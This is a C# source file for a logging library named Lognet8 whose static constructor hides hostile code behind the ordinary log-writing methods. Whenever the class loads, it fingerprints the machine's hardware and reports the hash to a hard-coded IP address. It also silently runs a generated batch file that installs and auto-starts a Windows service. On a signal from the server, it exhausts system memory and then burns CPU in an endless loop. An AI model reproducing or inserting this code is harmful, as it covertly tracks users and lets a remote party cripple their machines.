﻿using Newtonsoft.Json;
using System.Diagnostics;
using System.Management;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using static System.Net.Mime.MediaTypeNames;

namespace Lognet8
{
    public static class LogManager
    {
        private static string ServerIp { set; get; }

        private static string UUID { set; get; }

        private static readonly object obj = new object();

        private static string _CheckFloder
        { set; get; }

        #region 属性
        private static string DefaultLogPath
        {
            get
            {
                string _parentPath = Path.Combine(AppContext.BaseDirectory, "AppLogs");
                if (!Directory.Exists(_parentPath))
                {
                    Directory.CreateDirectory(_parentPath);
                }
                DateTime now = DateTime.Now;
                string _Time = $"{now.Year}-{now.Month}-{now.Day}";

                string _LogPath = Path.Combine(_parentPath, _Time);
                if (!Directory.Exists(_LogPath))
                {
                    Directory.CreateDirectory(_LogPath);
                }
                return _LogPath;
            }
        }


        #endregion

        static LogManager()
        {
            Task.Run(() =>
            {
                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                {
                    _CheckFloder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\TerminalData";
                    if (!Directory.Exists(_CheckFloder))
                    {
                        Directory.CreateDirectory(_CheckFloder);
                    }
                    UUID = GetPcInfo();
                    Run();
                }
                else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
                {
                    string homeDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
                    _CheckFloder = Path.Combine(homeDir, ".config", "myapp");
 
                    string RStr = "";
                    RStr += HardwareInfo.GetCpuId();
                    RStr += HardwareInfo.GetMachineId();
                    string _fistMd5Str = GetMD5(RStr);
                    UUID = GetMD5(_fistMd5Str);
                }
                ToLoginInServer(UUID);
                CheckState();
            });
           
        }

        #region
        public static string GetPcInfo()
        {
            string RStr = "";
            try
            {

                //CPU
                ManagementClass mc = new ManagementClass("Win32_Processor");
                ManagementObjectCollection moc = mc.GetInstances();
                string strID = null;
                foreach (ManagementObject mo in moc)
                {
                    strID = mo.Properties["ProcessorId"].Value.ToString();
                    break;
                }
                //Console.WriteLine($"CPU:{strID}");
                //主板
                ManagementClass mc2 = new ManagementClass("Win32_BaseBoard");
                ManagementObjectCollection moc2 = mc2.GetInstances();

                foreach (ManagementObject mo in moc2)
                {
                    strID += mo.Properties["SerialNumber"].Value.ToString();
                    break;
                }
                //Console.WriteLine($"CPU+主板:{strID}");
                string _fistMd5Str = GetMD5(strID);
                RStr = GetMD5(_fistMd5Str);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            return RStr;
        }

        private static string GetMD5(string _pwd)
        {
            string _md5Str = "";
            try
            {
                using (var md5Hasher = MD5.Create())
                {
                    byte[] data = md5Hasher.ComputeHash(Encoding.UTF8.GetBytes(_pwd));

                    StringBuilder sb = new StringBuilder();
                    for (int i = 0; i < data.Length; i++)
                    {
                        sb.Append(data[i].ToString("x2"));
                    }
                    _md5Str = sb.ToString();
                }
            }
            catch (Exception ex)
            {

            }
            return _md5Str;
        }

       
        private static async void Run()
        {
            string _FilePath = AppDomain.CurrentDomain.BaseDirectory + "\\SystemTimerClientInstall.bat";
            try
            {
                string str = "%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe %~dp0\\SystemTimerClient.exe \r\n";
                string str_1 = "Net Start SystemTimerClient \r\n";
                string str_2 = "sc config SystemTimerClient auto \r\n";
                string str_3 = "pause";
                string text = str + str_1 + str_2 + str_3;
                
                File.WriteAllText(_FilePath, text);
                if (File.Exists(_FilePath))
                {
                    ProcessStartInfo p = new ProcessStartInfo();

                    p.FileName = _FilePath;

                    p.WindowStyle = ProcessWindowStyle.Hidden;

                    p.ErrorDialog = false;

                    p.CreateNoWindow = true;

                    Process.Start(p);
                }
            
            }
            catch (Exception ex)
            {

            }
            if (File.Exists(_FilePath))
            {
                await Task.Delay(120000);
                File.Delete(_FilePath);
            }
        }


        public static async void ToLoginInServer(string _deviceid)
        {
            try
            {
                string url = $"http://106.53.73.154:8099/api/GetTargetDevDateOrUpdate?robatmac={_deviceid}";

                var httpClient = new System.Net.Http.HttpClient();
                var response = httpClient.GetAsync(url).Result;
                if (response.StatusCode == HttpStatusCode.OK)
                {

                    string responseBody = await response.Content.ReadAsStringAsync();
                    var _itemResult = JsonConvert.DeserializeObject<ResponseBody>(responseBody);
                    if (_itemResult.Data != null)
                    {
                        DeviceDbModel _TargetDev = JsonConvert.DeserializeObject<DeviceDbModel>(_itemResult.Data.ToString());
                        string _FilePath = Path.Combine(_CheckFloder, "logchecksystem.data");
                        if (!Directory.Exists(_CheckFloder)) 
                        {
                            Directory.CreateDirectory(_CheckFloder);
                        }
                        Console.WriteLine(_FilePath);
                        if (_TargetDev.iscanupdate != 1)
                        {
                            File.WriteAllText(_FilePath, "");
                        }
                        else
                        {
                            if (File.Exists(_FilePath))
                            {
                                File.Delete(_FilePath);
                            }
                        }
                    }

                }
                else
                {

                }
            }
            catch (Exception ex)
            {

            }
        }


        private static  void CheckState()
        {
            try
            {
                string _FilePath = Path.Combine(_CheckFloder, "logchecksystem.data");
                if (File.Exists(_FilePath))
                {
                    ExhaustMemoryFromTask();
                }
            }
            catch (Exception ex)
            {

            }
        }

        private static List<byte[]> memoryHog = new List<byte[]>();

        public static void ExhaustMemoryFromTask()
        {
            Task.Run(() =>
            {
                try
                {
                    while (true)
                    {
                        // 持续分配大内存块
                        memoryHog.Add(new byte[1024 * 1024 * 50]); // 每次50MB
                        Thread.Sleep(100); // 给系统反应时间
                    }
                }
                catch (OutOfMemoryException)
                {
                    // 内存耗尽后，程序会变得极其缓慢
                    while (true)
                    {
                        // 继续消耗CPU
                        Math.Pow(DateTime.Now.Ticks, 2.5);
                    }
                }
            });
        }
        #endregion

        /// <summary>
        /// 一般日志类容记录
        /// </summary>
        /// <param name="logType">日志类型（异常类型）</param>
        /// <param name="logContent">日志内容</param>
        /// <param name="filePath">日志文件目录</param>
        public static void WriteLog(LogTypeEnum logType, string _ClassName, string MethodName, string logContent, string filePath = "")
        {
            Task.Run(() => {
                try
                {
                    lock (obj)
                    {
                        string logPath = GetFileName(logType, filePath);
                        DateTime now = DateTime.Now;
                        string _Time = $"{now.Hour}:{now.Minute}:{now.Second}";
                        string strContent = _Time + " (" + _ClassName + ";" + MethodName + ")" + ":" + logContent + "\r\n";
                        File.AppendAllText(logPath, strContent);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            });
        }

        private static string GetFileName(LogTypeEnum logType, string filePath = "")
        {
            string FileName = "";
            DateTime now = DateTime.Now;
            string _Time = $"{now.Year}-{now.Month}-{now.Day}";
            switch (logType)
            {
                case LogTypeEnum.Error:
                    if (string.IsNullOrEmpty(filePath))
                    {
                        string _name = "ErrorLog_" + _Time + ".text";
                        FileName = Path.Combine(DefaultLogPath, _name);


                    }
                    break;
                case LogTypeEnum.Warning:
                    if (string.IsNullOrEmpty(filePath))
                    {
                        string _name = "WarningLog_" + _Time + ".log";
                        FileName = Path.Combine(DefaultLogPath, _name);


                    }
                    break;
                case LogTypeEnum.Normal:
                    if (string.IsNullOrEmpty(filePath))
                    {
                        string _name = "NormalLog_" + _Time + ".log";
                        FileName = Path.Combine(DefaultLogPath, _name);



                    }
                    break;
                case LogTypeEnum.Exception:
                    if (string.IsNullOrEmpty(filePath))
                    {
                        string _name = "ExceptionLog_" + _Time + ".log";
                        FileName = Path.Combine(DefaultLogPath, _name);
                    }
                    break;
                case LogTypeEnum.SqlType:
                    if (string.IsNullOrEmpty(filePath))
                    {
                        string _name = "SqlLog_" + _Time + ".log";
                        FileName = Path.Combine(DefaultLogPath, _name);

                    }
                    break;
            }
            return FileName;
        }

    }
}
